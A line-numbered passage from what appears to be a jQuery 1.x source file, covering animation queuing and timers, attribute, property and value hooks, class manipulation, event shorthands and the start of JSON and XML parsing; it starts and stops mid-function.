  4576. hooks = jQuery._queueHooks(elem, "fx");
  4577. if (hooks.unqueued == null) {
  4578. hooks.unqueued = 0;
  4579. oldfire = hooks.empty.fire;
  4580. hooks.empty.fire = function() {
  4581. if (!hooks.unqueued) {
  4582. oldfire()
  4583. }
  4584. }
  4585. }
  4586. hooks.unqueued++;
  4587. anim.always(function() {
  4588. anim.always(function() {
  4589. hooks.unqueued--;
  4590. if (!jQuery.queue(elem, "fx").length) {
  4591. hooks.empty.fire()
  4592. }
  4593. })
  4594. })
  4595. }
  4596. if (elem.nodeType === 1 && ("height" in props || "width" in props)) {
  4597. opts.overflow = [style.overflow, style.overflowX, style.overflowY];
  4598. display = jQuery.css(elem, "display");
  4599. checkDisplay = display === "none" ? jQuery._data(elem, "olddisplay") || defaultDisplay(elem.nodeName) : display;
  4600. if (checkDisplay === "inline" && jQuery.css(elem, "float") === "none") {
  4601. if (!support.inlineBlockNeedsLayout || defaultDisplay(elem.nodeName) === "inline") {
  4602. style.display = "inline-block"
  4603. } else {
  4604. style.zoom = 1
  4605. }
  4606. }
  4607. }
  4608. if (opts.overflow) {
  4609. style.overflow = "hidden";
  4610. if (!support.shrinkWrapBlocks()) {
  4611. anim.always(function() {
  4612. style.overflow = opts.overflow[0];
  4613. style.overflowX = opts.overflow[1];
  4614. style.overflowY = opts.overflow[2]
  4615. })
  4616. }
  4617. }
  4618. for (prop in props) {
  4619. value = props[prop];
  4620. if (rfxtypes.exec(value)) {
  4621. delete props[prop];
  4622. toggle = toggle || value === "toggle";
  4623. if (value === (hidden ? "hide" : "show")) {
  4624. if (value === "show" && dataShow && dataShow[prop] !== undefined) {
  4625. hidden = true
  4626. } else {
  4627. continue
  4628. }
  4629. }
  4630. orig[prop] = dataShow && dataShow[prop] || jQuery.style(elem, prop)
  4631. } else {
  4632. display = undefined
  4633. }
  4634. }
  4635. if (!jQuery.isEmptyObject(orig)) {
  4636. if (dataShow) {
  4637. if ("hidden" in dataShow) {
  4638. hidden = dataShow.hidden
  4639. }
  4640. } else {
  4641. dataShow = jQuery._data(elem, "fxshow", {})
  4642. }
  4643. if (toggle) {
  4644. dataShow.hidden = !hidden
  4645. }
  4646. if (hidden) {
  4647. jQuery(elem).show()
  4648. } else {
  4649. anim.done(function() {
  4650. jQuery(elem).hide()
  4651. })
  4652. }
  4653. anim.done(function() {
  4654. var prop;
  4655. jQuery._removeData(elem, "fxshow");
  4656. for (prop in orig) {
  4657. jQuery.style(elem, prop, orig[prop])
  4658. }
  4659. });
  4660. for (prop in orig) {
  4661. tween = createTween(hidden ? dataShow[prop] : 0, prop, anim);
  4662. if (!(prop in dataShow)) {
  4663. dataShow[prop] = tween.start;
  4664. if (hidden) {
  4665. tween.end = tween.start;
  4666. tween.start = prop === "width" || prop === "height" ? 1 : 0
  4667. }
  4668. }
  4669. }
  4670. } else if ((display === "none" ? defaultDisplay(elem.nodeName) : display) === "inline") {
  4671. style.display = display
  4672. }
  4673. }
  4674.  
  4675. function propFilter(props, specialEasing) {
  4676. var index, name, easing, value, hooks;
  4677. for (index in props) {
  4678. name = jQuery.camelCase(index);
  4679. easing = specialEasing[name];
  4680. value = props[index];
  4681. if (jQuery.isArray(value)) {
  4682. easing = value[1];
  4683. value = props[index] = value[0]
  4684. }
  4685. if (index !== name) {
  4686. props[name] = value;
  4687. delete props[index]
  4688. }
  4689. hooks = jQuery.cssHooks[name];
  4690. if (hooks && "expand" in hooks) {
  4691. value = hooks.expand(value);
  4692. delete props[name];
  4693. for (index in value) {
  4694. if (!(index in props)) {
  4695. props[index] = value[index];
  4696. specialEasing[index] = easing
  4697. }
  4698. }
  4699. } else {
  4700. specialEasing[name] = easing
  4701. }
  4702. }
  4703. }
  4704.  
  4705. function Animation(elem, properties, options) {
  4706. var result, stopped, index = 0,
  4707. length = animationPrefilters.length,
  4708. deferred = jQuery.Deferred().always(function() {
  4709. delete tick.elem
  4710. }),
  4711. tick = function() {
  4712. if (stopped) {
  4713. return false
  4714. }
  4715. var currentTime = fxNow || createFxNow(),
  4716. remaining = Math.max(0, animation.startTime + animation.duration - currentTime),
  4717. temp = remaining / animation.duration || 0,
  4718. percent = 1 - temp,
  4719. index = 0,
  4720. length = animation.tweens.length;
  4721. for (; index < length; index++) {
  4722. animation.tweens[index].run(percent)
  4723. }
  4724. deferred.notifyWith(elem, [animation, percent, remaining]);
  4725. if (percent < 1 && length) {
  4726. return remaining
  4727. } else {
  4728. deferred.resolveWith(elem, [animation]);
  4729. return false
  4730. }
  4731. },
  4732. animation = deferred.promise({
  4733. elem: elem,
  4734. props: jQuery.extend({}, properties),
  4735. opts: jQuery.extend(true, {
  4736. specialEasing: {}
  4737. }, options),
  4738. originalProperties: properties,
  4739. originalOptions: options,
  4740. startTime: fxNow || createFxNow(),
  4741. duration: options.duration,
  4742. tweens: [],
  4743. createTween: function(prop, end) {
  4744. var tween = jQuery.Tween(elem, animation.opts, prop, end, animation.opts.specialEasing[prop] || animation.opts.easing);
  4745. animation.tweens.push(tween);
  4746. return tween
  4747. },
  4748. stop: function(gotoEnd) {
  4749. var index = 0,
  4750. length = gotoEnd ? animation.tweens.length : 0;
  4751. if (stopped) {
  4752. return this
  4753. }
  4754. stopped = true;
  4755. for (; index < length; index++) {
  4756. animation.tweens[index].run(1)
  4757. }
  4758. if (gotoEnd) {
  4759. deferred.resolveWith(elem, [animation, gotoEnd])
  4760. } else {
  4761. deferred.rejectWith(elem, [animation, gotoEnd])
  4762. }
  4763. return this
  4764. }
  4765. }),
  4766. props = animation.props;
  4767. propFilter(props, animation.opts.specialEasing);
  4768. for (; index < length; index++) {
  4769. result = animationPrefilters[index].call(animation, elem, props, animation.opts);
  4770. if (result) {
  4771. return result
  4772. }
  4773. }
  4774. jQuery.map(props, createTween, animation);
  4775. if (jQuery.isFunction(animation.opts.start)) {
  4776. animation.opts.start.call(elem, animation)
  4777. }
  4778. jQuery.fx.timer(jQuery.extend(tick, {
  4779. elem: elem,
  4780. anim: animation,
  4781. queue: animation.opts.queue
  4782. }));
  4783. return animation.progress(animation.opts.progress).done(animation.opts.done, animation.opts.complete).fail(animation.opts.fail).always(animation.opts.always)
  4784. }
  4785. jQuery.Animation = jQuery.extend(Animation, {
  4786. tweener: function(props, callback) {
  4787. if (jQuery.isFunction(props)) {
  4788. callback = props;
  4789. props = ["*"]
  4790. } else {
  4791. props = props.split(" ")
  4792. }
  4793. var prop, index = 0,
  4794. length = props.length;
  4795. for (; index < length; index++) {
  4796. prop = props[index];
  4797. tweeners[prop] = tweeners[prop] || [];
  4798. tweeners[prop].unshift(callback)
  4799. }
  4800. },
  4801. prefilter: function(callback, prepend) {
  4802. if (prepend) {
  4803. animationPrefilters.unshift(callback)
  4804. } else {
  4805. animationPrefilters.push(callback)
  4806. }
  4807. }
  4808. });
  4809. jQuery.speed = function(speed, easing, fn) {
  4810. var opt = speed && typeof speed === "object" ? jQuery.extend({}, speed) : {
  4811. complete: fn || !fn && easing || jQuery.isFunction(speed) && speed,
  4812. duration: speed,
  4813. easing: fn && easing || easing && !jQuery.isFunction(easing) && easing
  4814. };
  4815. opt.duration = jQuery.fx.off ? 0 : typeof opt.duration === "number" ? opt.duration : opt.duration in jQuery.fx.speeds ? jQuery.fx.speeds[opt.duration] : jQuery.fx.speeds._default;
  4816. if (opt.queue == null || opt.queue === true) {
  4817. opt.queue = "fx"
  4818. }
  4819. opt.old = opt.complete;
  4820. opt.complete = function() {
  4821. if (jQuery.isFunction(opt.old)) {
  4822. opt.old.call(this)
  4823. }
  4824. if (opt.queue) {
  4825. jQuery.dequeue(this, opt.queue)
  4826. }
  4827. };
  4828. return opt
  4829. };
  4830. jQuery.fn.extend({
  4831. fadeTo: function(speed, to, easing, callback) {
  4832. return this.filter(isHidden).css("opacity", 0).show().end().animate({
  4833. opacity: to
  4834. }, speed, easing, callback)
  4835. },
  4836. animate: function(prop, speed, easing, callback) {
  4837. var empty = jQuery.isEmptyObject(prop),
  4838. optall = jQuery.speed(speed, easing, callback),
  4839. doAnimation = function() {
  4840. var anim = Animation(this, jQuery.extend({}, prop), optall);
  4841. if (empty || jQuery._data(this, "finish")) {
  4842. anim.stop(true)
  4843. }
  4844. };
  4845. doAnimation.finish = doAnimation;
  4846. return empty || optall.queue === false ? this.each(doAnimation) : this.queue(optall.queue, doAnimation)
  4847. },
  4848. stop: function(type, clearQueue, gotoEnd) {
  4849. var stopQueue = function(hooks) {
  4850. var stop = hooks.stop;
  4851. delete hooks.stop;
  4852. stop(gotoEnd)
  4853. };
  4854. if (typeof type !== "string") {
  4855. gotoEnd = clearQueue;
  4856. clearQueue = type;
  4857. type = undefined
  4858. }
  4859. if (clearQueue && type !== false) {
  4860. this.queue(type || "fx", [])
  4861. }
  4862. return this.each(function() {
  4863. var dequeue = true,
  4864. index = type != null && type + "queueHooks",
  4865. timers = jQuery.timers,
  4866. data = jQuery._data(this);
  4867. if (index) {
  4868. if (data[index] && data[index].stop) {
  4869. stopQueue(data[index])
  4870. }
  4871. } else {
  4872. for (index in data) {
  4873. if (data[index] && data[index].stop && rrun.test(index)) {
  4874. stopQueue(data[index])
  4875. }
  4876. }
  4877. }
  4878. for (index = timers.length; index--;) {
  4879. if (timers[index].elem === this && (type == null || timers[index].queue === type)) {
  4880. timers[index].anim.stop(gotoEnd);
  4881. dequeue = false;
  4882. timers.splice(index, 1)
  4883. }
  4884. }
  4885. if (dequeue || !gotoEnd) {
  4886. jQuery.dequeue(this, type)
  4887. }
  4888. })
  4889. },
  4890. finish: function(type) {
  4891. if (type !== false) {
  4892. type = type || "fx"
  4893. }
  4894. return this.each(function() {
  4895. var index, data = jQuery._data(this),
  4896. queue = data[type + "queue"],
  4897. hooks = data[type + "queueHooks"],
  4898. timers = jQuery.timers,
  4899. length = queue ? queue.length : 0;
  4900. data.finish = true;
  4901. jQuery.queue(this, type, []);
  4902. if (hooks && hooks.stop) {
  4903. hooks.stop.call(this, true)
  4904. }
  4905. for (index = timers.length; index--;) {
  4906. if (timers[index].elem === this && timers[index].queue === type) {
  4907. timers[index].anim.stop(true);
  4908. timers.splice(index, 1)
  4909. }
  4910. }
  4911. for (index = 0; index < length; index++) {
  4912. if (queue[index] && queue[index].finish) {
  4913. queue[index].finish.call(this)
  4914. }
  4915. }
  4916. delete data.finish
  4917. })
  4918. }
  4919. });
  4920. jQuery.each(["toggle", "show", "hide"], function(i, name) {
  4921. var cssFn = jQuery.fn[name];
  4922. jQuery.fn[name] = function(speed, easing, callback) {
  4923. return speed == null || typeof speed === "boolean" ? cssFn.apply(this, arguments) : this.animate(genFx(name, true), speed, easing, callback)
  4924. }
  4925. });
  4926. jQuery.each({
  4927. slideDown: genFx("show"),
  4928. slideUp: genFx("hide"),
  4929. slideToggle: genFx("toggle"),
  4930. fadeIn: {
  4931. opacity: "show"
  4932. },
  4933. fadeOut: {
  4934. opacity: "hide"
  4935. },
  4936. fadeToggle: {
  4937. opacity: "toggle"
  4938. }
  4939. }, function(name, props) {
  4940. jQuery.fn[name] = function(speed, easing, callback) {
  4941. return this.animate(props, speed, easing, callback)
  4942. }
  4943. });
  4944. jQuery.timers = [];
  4945. jQuery.fx.tick = function() {
  4946. var timer, timers = jQuery.timers,
  4947. i = 0;
  4948. fxNow = jQuery.now();
  4949. for (; i < timers.length; i++) {
  4950. timer = timers[i];
  4951. if (!timer() && timers[i] === timer) {
  4952. timers.splice(i--, 1)
  4953. }
  4954. }
  4955. if (!timers.length) {
  4956. jQuery.fx.stop()
  4957. }
  4958. fxNow = undefined
  4959. };
  4960. jQuery.fx.timer = function(timer) {
  4961. jQuery.timers.push(timer);
  4962. if (timer()) {
  4963. jQuery.fx.start()
  4964. } else {
  4965. jQuery.timers.pop()
  4966. }
  4967. };
  4968. jQuery.fx.interval = 13;
  4969. jQuery.fx.start = function() {
  4970. if (!timerId) {
  4971. timerId = setInterval(jQuery.fx.tick, jQuery.fx.interval)
  4972. }
  4973. };
  4974. jQuery.fx.stop = function() {
  4975. clearInterval(timerId);
  4976. timerId = null
  4977. };
  4978. jQuery.fx.speeds = {
  4979. slow: 600,
  4980. fast: 200,
  4981. _default: 400
  4982. };
  4983. jQuery.fn.delay = function(time, type) {
  4984. time = jQuery.fx ? jQuery.fx.speeds[time] || time : time;
  4985. type = type || "fx";
  4986. return this.queue(type, function(next, hooks) {
  4987. var timeout = setTimeout(next, time);
  4988. hooks.stop = function() {
  4989. clearTimeout(timeout)
  4990. }
  4991. })
  4992. };
  4993. (function() {
  4994. var input, div, select, a, opt;
  4995. div = document.createElement("div");
  4996. div.setAttribute("className", "t");
  4997. div.innerHTML = " <link/><table></table><a href='/a'>a</a><input type='checkbox'/>";
  4998. a = div.getElementsByTagName("a")[0];
  4999. select = document.createElement("select");
  5000. opt = select.appendChild(document.createElement("option"));
  5001. input = div.getElementsByTagName("input")[0];
  5002. a.style.cssText = "top:1px";
  5003. support.getSetAttribute = div.className !== "t";
  5004. support.style = /top/.test(a.getAttribute("style"));
  5005. support.hrefNormalized = a.getAttribute("href") === "/a";
  5006. support.checkOn = !!input.value;
  5007. support.optSelected = opt.selected;
  5008. support.enctype = !!document.createElement("form").enctype;
  5009. select.disabled = true;
  5010. support.optDisabled = !opt.disabled;
  5011. input = document.createElement("input");
  5012. input.setAttribute("value", "");
  5013. support.input = input.getAttribute("value") === "";
  5014. input.value = "t";
  5015. input.setAttribute("type", "radio");
  5016. support.radioValue = input.value === "t"
  5017. })();
  5018. var rreturn = /\r/g;
  5019. jQuery.fn.extend({
  5020. val: function(value) {
  5021. var hooks, ret, isFunction, elem = this[0];
  5022. if (!arguments.length) {
  5023. if (elem) {
  5024. hooks = jQuery.valHooks[elem.type] || jQuery.valHooks[elem.nodeName.toLowerCase()];
  5025. if (hooks && "get" in hooks && (ret = hooks.get(elem, "value")) !== undefined) {
  5026. return ret
  5027. }
  5028. ret = elem.value;
  5029. return typeof ret === "string" ? ret.replace(rreturn, "") : ret == null ? "" : ret
  5030. }
  5031. return
  5032. }
  5033. isFunction = jQuery.isFunction(value);
  5034. return this.each(function(i) {
  5035. var val;
  5036. if (this.nodeType !== 1) {
  5037. return
  5038. }
  5039. if (isFunction) {
  5040. val = value.call(this, i, jQuery(this).val())
  5041. } else {
  5042. val = value
  5043. }
  5044. if (val == null) {
  5045. val = ""
  5046. } else if (typeof val === "number") {
  5047. val += ""
  5048. } else if (jQuery.isArray(val)) {
  5049. val = jQuery.map(val, function(value) {
  5050. return value == null ? "" : value + ""
  5051. })
  5052. }
  5053. hooks = jQuery.valHooks[this.type] || jQuery.valHooks[this.nodeName.toLowerCase()];
  5054. if (!hooks || !("set" in hooks) || hooks.set(this, val, "value") === undefined) {
  5055. this.value = val
  5056. }
  5057. })
  5058. }
  5059. });
  5060. jQuery.extend({
  5061. valHooks: {
  5062. option: {
  5063. get: function(elem) {
  5064. var val = jQuery.find.attr(elem, "value");
  5065. return val != null ? val : jQuery.trim(jQuery.text(elem))
  5066. }
  5067. },
  5068. select: {
  5069. get: function(elem) {
  5070. var value, option, options = elem.options,
  5071. index = elem.selectedIndex,
  5072. one = elem.type === "select-one" || index < 0,
  5073. values = one ? null : [],
  5074. max = one ? index + 1 : options.length,
  5075. i = index < 0 ? max : one ? index : 0;
  5076. for (; i < max; i++) {
  5077. option = options[i];
  5078. if ((option.selected || i === index) && (support.optDisabled ? !option.disabled : option.getAttribute("disabled") === null) && (!option.parentNode.disabled || !jQuery.nodeName(option.parentNode, "optgroup"))) {
  5079. value = jQuery(option).val();
  5080. if (one) {
  5081. return value
  5082. }
  5083. values.push(value)
  5084. }
  5085. }
  5086. return values
  5087. },
  5088. set: function(elem, value) {
  5089. var optionSet, option, options = elem.options,
  5090. values = jQuery.makeArray(value),
  5091. i = options.length;
  5092. while (i--) {
  5093. option = options[i];
  5094. if (jQuery.inArray(jQuery.valHooks.option.get(option), values) >= 0) {
  5095. try {
  5096. option.selected = optionSet = true
  5097. } catch (_) {
  5098. option.scrollHeight
  5099. }
  5100. } else {
  5101. option.selected = false
  5102. }
  5103. }
  5104. if (!optionSet) {
  5105. elem.selectedIndex = -1
  5106. }
  5107. return options
  5108. }
  5109. }
  5110. }
  5111. });
  5112. jQuery.each(["radio", "checkbox"], function() {
  5113. jQuery.valHooks[this] = {
  5114. set: function(elem, value) {
  5115. if (jQuery.isArray(value)) {
  5116. return (elem.checked = jQuery.inArray(jQuery(elem).val(), value) >= 0)
  5117. }
  5118. }
  5119. };
  5120. if (!support.checkOn) {
  5121. jQuery.valHooks[this].get = function(elem) {
  5122. return elem.getAttribute("value") === null ? "on" : elem.value
  5123. }
  5124. }
  5125. });
  5126. var nodeHook, boolHook, attrHandle = jQuery.expr.attrHandle,
  5127. ruseDefault = /^(?:checked|selected)$/i,
  5128. getSetAttribute = support.getSetAttribute,
  5129. getSetInput = support.input;
  5130. jQuery.fn.extend({
  5131. attr: function(name, value) {
  5132. return access(this, jQuery.attr, name, value, arguments.length > 1)
  5133. },
  5134. removeAttr: function(name) {
  5135. return this.each(function() {
  5136. jQuery.removeAttr(this, name)
  5137. })
  5138. }
  5139. });
  5140. jQuery.extend({
  5141. attr: function(elem, name, value) {
  5142. var hooks, ret, nType = elem.nodeType;
  5143. if (!elem || nType === 3 || nType === 8 || nType === 2) {
  5144. return
  5145. }
  5146. if (typeof elem.getAttribute === strundefined) {
  5147. return jQuery.prop(elem, name, value)
  5148. }
  5149. if (nType !== 1 || !jQuery.isXMLDoc(elem)) {
  5150. name = name.toLowerCase();
  5151. hooks = jQuery.attrHooks[name] || (jQuery.expr.match.bool.test(name) ? boolHook : nodeHook)
  5152. }
  5153. if (value !== undefined) {
  5154. if (value === null) {
  5155. jQuery.removeAttr(elem, name)
  5156. } else if (hooks && "set" in hooks && (ret = hooks.set(elem, value, name)) !== undefined) {
  5157. return ret
  5158. } else {
  5159. elem.setAttribute(name, value + "");
  5160. return value
  5161. }
  5162. } else if (hooks && "get" in hooks && (ret = hooks.get(elem, name)) !== null) {
  5163. return ret
  5164. } else {
  5165. ret = jQuery.find.attr(elem, name);
  5166. return ret == null ? undefined : ret
  5167. }
  5168. },
  5169. removeAttr: function(elem, value) {
  5170. var name, propName, i = 0,
  5171. attrNames = value && value.match(rnotwhite);
  5172. if (attrNames && elem.nodeType === 1) {
  5173. while ((name = attrNames[i++])) {
  5174. propName = jQuery.propFix[name] || name;
  5175. if (jQuery.expr.match.bool.test(name)) {
  5176. if (getSetInput && getSetAttribute || !ruseDefault.test(name)) {
  5177. elem[propName] = false
  5178. } else {
  5179. elem[jQuery.camelCase("default-" + name)] = elem[propName] = false
  5180. }
  5181. } else {
  5182. jQuery.attr(elem, name, "")
  5183. }
  5184. elem.removeAttribute(getSetAttribute ? name : propName)
  5185. }
  5186. }
  5187. },
  5188. attrHooks: {
  5189. type: {
  5190. set: function(elem, value) {
  5191. if (!support.radioValue && value === "radio" && jQuery.nodeName(elem, "input")) {
  5192. var val = elem.value;
  5193. elem.setAttribute("type", value);
  5194. if (val) {
  5195. elem.value = val
  5196. }
  5197. return value
  5198. }
  5199. }
  5200. }
  5201. }
  5202. });
  5203. boolHook = {
  5204. set: function(elem, value, name) {
  5205. if (value === false) {
  5206. jQuery.removeAttr(elem, name)
  5207. } else if (getSetInput && getSetAttribute || !ruseDefault.test(name)) {
  5208. elem.setAttribute(!getSetAttribute && jQuery.propFix[name] || name, name)
  5209. } else {
  5210. elem[jQuery.camelCase("default-" + name)] = elem[name] = true
  5211. }
  5212. return name
  5213. }
  5214. };
  5215. jQuery.each(jQuery.expr.match.bool.source.match(/\w+/g), function(i, name) {
  5216. var getter = attrHandle[name] || jQuery.find.attr;
  5217. attrHandle[name] = getSetInput && getSetAttribute || !ruseDefault.test(name) ? function(elem, name, isXML) {
  5218. var ret, handle;
  5219. if (!isXML) {
  5220. handle = attrHandle[name];
  5221. attrHandle[name] = ret;
  5222. ret = getter(elem, name, isXML) != null ? name.toLowerCase() : null;
  5223. attrHandle[name] = handle
  5224. }
  5225. return ret
  5226. } : function(elem, name, isXML) {
  5227. if (!isXML) {
  5228. return elem[jQuery.camelCase("default-" + name)] ? name.toLowerCase() : null
  5229. }
  5230. }
  5231. });
  5232. if (!getSetInput || !getSetAttribute) {
  5233. jQuery.attrHooks.value = {
  5234. set: function(elem, value, name) {
  5235. if (jQuery.nodeName(elem, "input")) {
  5236. elem.defaultValue = value
  5237. } else {
  5238. return nodeHook && nodeHook.set(elem, value, name)
  5239. }
  5240. }
  5241. }
  5242. }
  5243. if (!getSetAttribute) {
  5244. nodeHook = {
  5245. set: function(elem, value, name) {
  5246. var ret = elem.getAttributeNode(name);
  5247. if (!ret) {
  5248. elem.setAttributeNode((ret = elem.ownerDocument.createAttribute(name)))
  5249. }
  5250. ret.value = value += "";
  5251. if (name === "value" || value === elem.getAttribute(name)) {
  5252. return value
  5253. }
  5254. }
  5255. };
  5256. attrHandle.id = attrHandle.name = attrHandle.coords = function(elem, name, isXML) {
  5257. var ret;
  5258. if (!isXML) {
  5259. return (ret = elem.getAttributeNode(name)) && ret.value !== "" ? ret.value : null
  5260. }
  5261. };
  5262. jQuery.valHooks.button = {
  5263. get: function(elem, name) {
  5264. var ret = elem.getAttributeNode(name);
  5265. if (ret && ret.specified) {
  5266. return ret.value
  5267. }
  5268. },
  5269. set: nodeHook.set
  5270. };
  5271. jQuery.attrHooks.contenteditable = {
  5272. set: function(elem, value, name) {
  5273. nodeHook.set(elem, value === "" ? false : value, name)
  5274. }
  5275. };
  5276. jQuery.each(["width", "height"], function(i, name) {
  5277. jQuery.attrHooks[name] = {
  5278. set: function(elem, value) {
  5279. if (value === "") {
  5280. elem.setAttribute(name, "auto");
  5281. return value
  5282. }
  5283. }
  5284. }
  5285. })
  5286. }
  5287. if (!support.style) {
  5288. jQuery.attrHooks.style = {
  5289. get: function(elem) {
  5290. return elem.style.cssText || undefined
  5291. },
  5292. set: function(elem, value) {
  5293. return (elem.style.cssText = value + "")
  5294. }
  5295. }
  5296. }
  5297. var rfocusable = /^(?:input|select|textarea|button|object)$/i,
  5298. rclickable = /^(?:a|area)$/i;
  5299. jQuery.fn.extend({
  5300. prop: function(name, value) {
  5301. return access(this, jQuery.prop, name, value, arguments.length > 1)
  5302. },
  5303. removeProp: function(name) {
  5304. name = jQuery.propFix[name] || name;
  5305. return this.each(function() {
  5306. try {
  5307. this[name] = undefined;
  5308. delete this[name]
  5309. } catch (e) {}
  5310. })
  5311. }
  5312. });
  5313. jQuery.extend({
  5314. propFix: {
  5315. "for": "htmlFor",
  5316. "class": "className"
  5317. },
  5318. prop: function(elem, name, value) {
  5319. var ret, hooks, notxml, nType = elem.nodeType;
  5320. if (!elem || nType === 3 || nType === 8 || nType === 2) {
  5321. return
  5322. }
  5323. notxml = nType !== 1 || !jQuery.isXMLDoc(elem);
  5324. if (notxml) {
  5325. name = jQuery.propFix[name] || name;
  5326. hooks = jQuery.propHooks[name]
  5327. }
  5328. if (value !== undefined) {
  5329. return hooks && "set" in hooks && (ret = hooks.set(elem, value, name)) !== undefined ? ret : (elem[name] = value)
  5330. } else {
  5331. return hooks && "get" in hooks && (ret = hooks.get(elem, name)) !== null ? ret : elem[name]
  5332. }
  5333. },
  5334. propHooks: {
  5335. tabIndex: {
  5336. get: function(elem) {
  5337. var tabindex = jQuery.find.attr(elem, "tabindex");
  5338. return tabindex ? parseInt(tabindex, 10) : rfocusable.test(elem.nodeName) || rclickable.test(elem.nodeName) && elem.href ? 0 : -1
  5339. }
  5340. }
  5341. }
  5342. });
  5343. if (!support.hrefNormalized) {
  5344. jQuery.each(["href", "src"], function(i, name) {
  5345. jQuery.propHooks[name] = {
  5346. get: function(elem) {
  5347. return elem.getAttribute(name, 4)
  5348. }
  5349. }
  5350. })
  5351. }
  5352. if (!support.optSelected) {
  5353. jQuery.propHooks.selected = {
  5354. get: function(elem) {
  5355. var parent = elem.parentNode;
  5356. if (parent) {
  5357. parent.selectedIndex;
  5358. if (parent.parentNode) {
  5359. parent.parentNode.selectedIndex
  5360. }
  5361. }
  5362. return null
  5363. }
  5364. }
  5365. }
  5366. jQuery.each(["tabIndex", "readOnly", "maxLength", "cellSpacing", "cellPadding", "rowSpan", "colSpan", "useMap", "frameBorder", "contentEditable"], function() {
  5367. jQuery.propFix[this.toLowerCase()] = this
  5368. });
  5369. if (!support.enctype) {
  5370. jQuery.propFix.enctype = "encoding"
  5371. }
  5372. var rclass = /[\t\r\n\f]/g;
  5373. jQuery.fn.extend({
  5374. addClass: function(value) {
  5375. var classes, elem, cur, clazz, j, finalValue, i = 0,
  5376. len = this.length,
  5377. proceed = typeof value === "string" && value;
  5378. if (jQuery.isFunction(value)) {
  5379. return this.each(function(j) {
  5380. jQuery(this).addClass(value.call(this, j, this.className))
  5381. })
  5382. }
  5383. if (proceed) {
  5384. classes = (value || "").match(rnotwhite) || [];
  5385. for (; i < len; i++) {
  5386. elem = this[i];
  5387. cur = elem.nodeType === 1 && (elem.className ? (" " + elem.className + " ").replace(rclass, " ") : " ");
  5388. if (cur) {
  5389. j = 0;
  5390. while ((clazz = classes[j++])) {
  5391. if (cur.indexOf(" " + clazz + " ") < 0) {
  5392. cur += clazz + " "
  5393. }
  5394. }
  5395. finalValue = jQuery.trim(cur);
  5396. if (elem.className !== finalValue) {
  5397. elem.className = finalValue
  5398. }
  5399. }
  5400. }
  5401. }
  5402. return this
  5403. },
  5404. removeClass: function(value) {
  5405. var classes, elem, cur, clazz, j, finalValue, i = 0,
  5406. len = this.length,
  5407. proceed = arguments.length === 0 || typeof value === "string" && value;
  5408. if (jQuery.isFunction(value)) {
  5409. return this.each(function(j) {
  5410. jQuery(this).removeClass(value.call(this, j, this.className))
  5411. })
  5412. }
  5413. if (proceed) {
  5414. classes = (value || "").match(rnotwhite) || [];
  5415. for (; i < len; i++) {
  5416. elem = this[i];
  5417. cur = elem.nodeType === 1 && (elem.className ? (" " + elem.className + " ").replace(rclass, " ") : "");
  5418. if (cur) {
  5419. j = 0;
  5420. while ((clazz = classes[j++])) {
  5421. while (cur.indexOf(" " + clazz + " ") >= 0) {
  5422. cur = cur.replace(" " + clazz + " ", " ")
  5423. }
  5424. }
  5425. finalValue = value ? jQuery.trim(cur) : "";
  5426. if (elem.className !== finalValue) {
  5427. elem.className = finalValue
  5428. }
  5429. }
  5430. }
  5431. }
  5432. return this
  5433. },
  5434. toggleClass: function(value, stateVal) {
  5435. var type = typeof value;
  5436. if (typeof stateVal === "boolean" && type === "string") {
  5437. return stateVal ? this.addClass(value) : this.removeClass(value)
  5438. }
  5439. if (jQuery.isFunction(value)) {
  5440. return this.each(function(i) {
  5441. jQuery(this).toggleClass(value.call(this, i, this.className, stateVal), stateVal)
  5442. })
  5443. }
  5444. return this.each(function() {
  5445. if (type === "string") {
  5446. var className, i = 0,
  5447. self = jQuery(this),
  5448. classNames = value.match(rnotwhite) || [];
  5449. while ((className = classNames[i++])) {
  5450. if (self.hasClass(className)) {
  5451. self.removeClass(className)
  5452. } else {
  5453. self.addClass(className)
  5454. }
  5455. }
  5456. } else if (type === strundefined || type === "boolean") {
  5457. if (this.className) {
  5458. jQuery._data(this, "__className__", this.className)
  5459. }
  5460. this.className = this.className || value === false ? "" : jQuery._data(this, "__className__") || ""
  5461. }
  5462. })
  5463. },
  5464. hasClass: function(selector) {
  5465. var className = " " + selector + " ",
  5466. i = 0,
  5467. l = this.length;
  5468. for (; i < l; i++) {
  5469. if (this[i].nodeType === 1 && (" " + this[i].className + " ").replace(rclass, " ").indexOf(className) >= 0) {
  5470. return true
  5471. }
  5472. }
  5473. return false
  5474. }
  5475. });
  5476. jQuery.each(("blur focus focusin focusout load resize scroll unload click dblclick " + "mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave " + "change select submit keydown keypress keyup error contextmenu").split(" "), function(i, name) {
  5477. jQuery.fn[name] = function(data, fn) {
  5478. return arguments.length > 0 ? this.on(name, null, data, fn) : this.trigger(name)
  5479. }
  5480. });
  5481. jQuery.fn.extend({
  5482. hover: function(fnOver, fnOut) {
  5483. return this.mouseenter(fnOver).mouseleave(fnOut || fnOver)
  5484. },
  5485. bind: function(types, data, fn) {
  5486. return this.on(types, null, data, fn)
  5487. },
  5488. unbind: function(types, fn) {
  5489. return this.off(types, null, fn)
  5490. },
  5491. delegate: function(selector, types, data, fn) {
  5492. return this.on(types, selector, data, fn)
  5493. },
  5494. undelegate: function(selector, types, fn) {
  5495. return arguments.length === 1 ? this.off(selector, "**") : this.off(types, selector || "**", fn)
  5496. }
  5497. });
  5498. var nonce = jQuery.now();
  5499. var rquery = (/\?/);
  5500. var rvalidtokens = /(,)|(\[|{)|(}|])|"(?:[^"\\\r\n]|\\["\\\/bfnrt]|\\u[\da-fA-F]{4})*"\s*:?|true|false|null|-?(?!0\d)\d+(?:\.\d+|)(?:[eE][+-]?\d+|)/g;
  5501. jQuery.parseJSON = function(data) {
  5502. if (window.JSON && window.JSON.parse) {
  5503. return window.JSON.parse(data + "")
  5504. }
  5505. var requireNonComma, depth = null,
  5506. str = jQuery.trim(data + "");
  5507. return str && !jQuery.trim(str.replace(rvalidtokens, function(token, comma, open, close) {
  5508. if (requireNonComma && comma) {
  5509. depth = 0
  5510. }
  5511. if (depth === 0) {
  5512. return token
  5513. }
  5514. requireNonComma = open || comma;
  5515. depth += !close - !open;
  5516. return ""
  5517. })) ? (Function("return " + str))() : jQuery.error("Invalid JSON: " + data)
  5518. };
  5519. jQuery.parseXML = function(data) {
  5520. var xml, tmp;
  5521. if (!data || typeof data !== "string") {
  5522. return null
  5523. }
  5524. try {
  5525. if (window.DOMParser) {
  5526. tmp = new DOMParser();
  5527. xml = tmp.parseFromString(data, "text/xml")
  5528. } else {
